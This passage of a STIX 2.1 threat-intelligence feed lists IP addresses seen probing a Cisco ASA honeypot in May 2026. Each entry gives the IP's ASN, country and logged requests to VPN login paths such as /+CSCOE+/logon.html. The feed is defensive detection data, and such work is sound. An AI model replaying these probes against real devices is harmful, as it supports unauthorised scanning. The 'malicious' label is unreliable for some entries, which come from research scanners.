      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-20T20:07:23.789Z",
          "last_seen": "2026-05-29T11:00:14.523Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOE+/session_password.html HTTP/1.1\" 404 -",
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-20T21:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--f7e31160-d88a-4f77-9d7e-52f458aa2146",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.102.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T21:20:11.000Z",
      "valid_until": "2026-06-21T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-20T20:49:38.147Z",
          "last_seen": "2026-05-31T01:49:01.273Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-20T21:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--71b847e6-07e2-4e03-b226-c257d0687dc9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.90.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T21:20:11.000Z",
      "valid_until": "2026-06-21T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-20T20:34:25.424Z",
          "last_seen": "2026-05-26T04:17:59.642Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-21T00:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--b1332e2e-415e-4906-b1ba-1ce270a9671e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.251.27.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T00:20:12.000Z",
      "valid_until": "2026-06-22T00:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-20T23:50:15.193Z",
          "last_seen": "2026-05-26T18:53:13.217Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-21T02:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: NL; ASN 212238 (Datacamp Limited)",
      "id": "indicator--d8b620f6-95c0-4bb1-842e-7be075dce860",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.10.156.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T02:20:14.000Z",
      "valid_until": "2026-06-22T02:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-21T01:56:34.162Z",
          "last_seen": "2026-05-21T01:56:34.795Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-21T02:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: NL; ASN 212238 (Datacamp Limited)",
      "id": "indicator--d948cf43-260f-4d5a-8833-10ab7eaed64a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.10.156.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-21T02:20:14.000Z",
      "valid_until": "2026-06-22T02:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-21T01:45:56.542Z",
          "last_seen": "2026-05-21T01:45:57.181Z",
          "country": "The Netherlands",
          "country_code": "NL",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-22T03:20:09.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 45102 (Alibaba US Technology Co., Ltd.)",
      "id": "indicator--45c82928-0777-42d1-8583-97d63b2b1247",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '47.251.55.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T03:20:09.000Z",
      "valid_until": "2026-06-23T03:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-22T02:22:20.700Z",
          "last_seen": "2026-05-22T02:22:24.128Z",
          "country": "United States",
          "country_code": "US",
          "asn": 45102,
          "as_org": "Alibaba US Technology Co., Ltd.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-22T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--d6d09943-961e-4c6a-86d6-6e9698d988d7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T05:20:10.000Z",
      "valid_until": "2026-06-23T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-22T05:12:17.513Z",
          "last_seen": "2026-05-22T05:12:17.513Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-22T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--fcd9ba8d-19b2-48c0-a445-cb2e1377a7a1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.183']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T05:20:10.000Z",
      "valid_until": "2026-06-23T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-22T04:46:34.378Z",
          "last_seen": "2026-05-22T04:47:49.394Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-05-22T10:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 8075 (Microsoft Corporation)",
      "id": "indicator--dd9d5c03-ba6c-4a39-85b0-11da3e7425a1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '135.233.112.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T10:20:11.000Z",
      "valid_until": "2026-06-23T10:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-22T09:36:33.942Z",
          "last_seen": "2026-05-22T09:36:36.945Z",
          "country": "United States",
          "country_code": "US",
          "asn": 8075,
          "as_org": "Microsoft Corporation",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-22T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--1df133b4-7951-4084-8e7b-fcb8c2cb9dda",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.75.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T11:20:10.000Z",
      "valid_until": "2026-06-23T11:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-22T11:16:34.713Z",
          "last_seen": "2026-05-26T08:48:57.526Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-22T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: PT; ASN 211680 (Sistemas Informaticos, S.A.)",
      "id": "indicator--7c5db743-699e-4336-a8f1-e58eb2923ecc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.156.128.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T11:20:10.000Z",
      "valid_until": "2026-06-23T11:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-22T11:09:58.887Z",
          "last_seen": "2026-05-22T11:10:01.890Z",
          "country": "Portugal",
          "country_code": "PT",
          "asn": 211680,
          "as_org": "Sistemas Informaticos, S.A.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-22T13:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--67d46174-ed74-4249-a956-84ae43e2786e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '138.199.43.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T13:20:05.000Z",
      "valid_until": "2026-06-23T13:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-20T13:45:24.262Z",
          "last_seen": "2026-05-30T05:05:41.063Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-22T13:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--939b5fdf-3f2c-416d-b419-3879ee0228bd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.168.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T13:20:05.000Z",
      "valid_until": "2026-06-23T13:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 18,
          "first_seen": "2026-05-20T08:15:52.927Z",
          "last_seen": "2026-05-29T18:39:56.216Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-22T13:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--4efc883e-a6fc-4626-839b-eb0ea5c033b3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T13:20:05.000Z",
      "valid_until": "2026-06-23T13:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-22T12:22:42.945Z",
          "last_seen": "2026-05-22T12:23:08.697Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-05-22T15:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 45102 (Alibaba US Technology Co., Ltd.)",
      "id": "indicator--87ca88df-2fee-41e5-ba86-0a86fa407d8c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '47.77.236.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T15:20:04.000Z",
      "valid_until": "2026-06-23T15:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-22T14:48:28.532Z",
          "last_seen": "2026-05-22T14:48:31.963Z",
          "country": "United States",
          "country_code": "US",
          "asn": 45102,
          "as_org": "Alibaba US Technology Co., Ltd.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-22T15:20:04.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: DE; ASN 212238 (Datacamp Limited)",
      "id": "indicator--2ec2e7af-3770-4a03-8f77-224a90a5f931",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '82.22.65.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T15:20:04.000Z",
      "valid_until": "2026-06-23T15:20:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 4,
          "first_seen": "2026-05-22T14:36:12.863Z",
          "last_seen": "2026-05-23T00:12:09.042Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-22T17:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--c30b484a-314f-406b-9989-d2bcb0925fb7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.156.46.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T17:20:13.000Z",
      "valid_until": "2026-06-23T17:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-22T17:14:56.233Z",
          "last_seen": "2026-05-26T19:24:41.437Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-22T19:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: GB; ASN 211298 (Driftnet Ltd)",
      "id": "indicator--398791c1-4176-4ef9-b944-0b5cb4482570",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '195.96.139.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T19:20:10.000Z",
      "valid_until": "2026-06-23T19:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-22T19:11:53.822Z",
          "last_seen": "2026-05-22T19:11:53.822Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 211298,
          "as_org": "Driftnet Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-22T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--d1a04316-c163-4303-bd63-e7550c381218",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '141.133.80.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T20:20:10.000Z",
      "valid_until": "2026-06-23T20:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 16,
          "first_seen": "2026-05-22T20:14:57.722Z",
          "last_seen": "2026-05-29T05:49:36.319Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-22T20:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--e838a2ff-56ff-4329-8f3e-1ea7070d9293",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.77.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-22T20:20:10.000Z",
      "valid_until": "2026-06-23T20:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 9,
          "first_seen": "2026-05-22T19:25:29.849Z",
          "last_seen": "2026-05-26T01:12:04.631Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-22T21:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 399935 (Hayashimo LLC)",
      "id": "indicator--753391c8-fa60-4f53-b7e8-d2b97cbc8535",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
